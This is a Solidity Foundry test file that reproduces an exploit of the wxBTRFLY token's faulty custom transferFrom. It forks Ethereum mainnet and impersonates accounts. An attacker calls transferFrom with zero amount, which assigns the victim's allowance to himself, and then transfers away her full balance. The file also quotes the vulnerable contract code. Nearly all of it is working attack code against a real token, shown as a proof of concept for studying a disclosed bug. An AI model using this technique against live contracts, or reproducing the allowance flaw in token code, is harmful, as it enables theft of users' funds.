src/test/2022-03/RedactedCartel_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2 
3pragma solidity ^0.8.10;
4 
5import "forge-std/Test.sol";
6import "./../interface.sol";
7 
8/*
9Redacted Cartel Custom Approval Logic Exploit PoC
10 
11The vulnerability would have allowed a malicious attacker to assign a user’s allowance to themselves, enabling the attacker to steal that user’s funds.
12 
13a faulty implementation of standard transferFrom() ERC-20 function in wxBTRFLY token.
14*/
15contract RedactedCartelExploit is Test {
16    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
17    IRedactedCartelSafeERC20 wxBTRFLY = IRedactedCartelSafeERC20(0x186E55C0BebD2f69348d94C4A27556d93C5Bd36C);
18 
19    address Alice = 0x9ee1873ba8383B1D4ac459aBd3c9C006Eaa8800A;
20    address AliceContract = 0x0f41d34B301E24E549b7445B3f620178bff331be;
21    address Bob = 0x78186702Bd66905845B469E3b76d4FD63F8722d4;
22    address owner = 0x20B92862dcb9976E0AA11fAE766343B7317aB349; //owner of wxBTRFLY token
23 
24    function setUp() public {
25        cheats.createSelectFork("mainnet", 13_908_185); //13908185
26 
27        // cheat.label(address(Alice), "Alice");
28        // cheat.label(address(AliceContract), "AliceContract");
29        // cheat.label(address(Bob), "Bob");
30        // cheat.label(address(owner), "wxBTRFLYOwner");
31    }
32 
33    function testExploit() public {
34        //quick hack to bypass the "onlyAuthorisedOperators" modifier
35        cheats.prank(owner);
36        wxBTRFLY.unFreezeToken();
37 
38        console.log("Before the Exploit !");
39        console.log("Alice wxBTRFLY Token Balance: ", wxBTRFLY.balanceOf(Alice));
40        console.log("Bob wxBTRFLY Token Balance: ", wxBTRFLY.balanceOf(Bob));
41        console.log("--------------------------------------------------");
42 
43        // Step 1: Alice approves an address to spend wxBTRFLY Token on her behalf
44        cheats.prank(Alice);
45        wxBTRFLY.approve(AliceContract, 89_011_248_549_237_373_700); // wxBTRFLY.balanceOf(Alice)
46        console.log("wxBTRFLY Allowance of Alice->AliceContract : ", wxBTRFLY.allowance(Alice, AliceContract));
47        console.log("wxBTRFLY Allowance of Alice->Bob(Before transferFrom): ", wxBTRFLY.allowance(Alice, Bob));
48 
49        /*
50            Custom vulnerable transferFrom function of wxBTRFLY token
51 
52             function transferFrom(address sender, address recipient, uint256 amount) public virtual override onlyAuthorisedOperators returns (bool) {
53                _transfer(sender, recipient, amount);
54                _approve(sender, msg.sender, allowance(sender, recipient ).sub(amount, "ERC20: transfer amount exceeds allowance"));
55                return true;
56            }
57        */
58 
59        // Step 2: Bob calls wxBTRFLY.transferFrom(Alice, aliceContract, 0),
60        // No transfer happens, but due to the allowance bug, Bob gets an allowance for Alice’s money
61        cheats.prank(Bob);
62        //_approve(Alice, Bob, allowance(Alice, AliceContract ).sub(0)
63        wxBTRFLY.transferFrom(Alice, AliceContract, 0);
64        console.log("wxBTRFLY Allowance of Alice->Bob(After transferFrom): ", wxBTRFLY.allowance(Alice, Bob));
65 
66        //post-hack
67        cheats.prank(Bob);
68        wxBTRFLY.transferFrom(Alice, Bob, 89_011_248_549_237_373_700); // wxBTRFLY.balanceOf(Alice)
69 
70        console.log("--------------------------------------------------");
71        console.log("After the Exploit !");
72        console.log("Alice wxBTRFLY Token Balance: ", wxBTRFLY.balanceOf(Alice));
73        console.log("Bob wxBTRFLY Token Balance: ", wxBTRFLY.balanceOf(Bob));
74    }
75}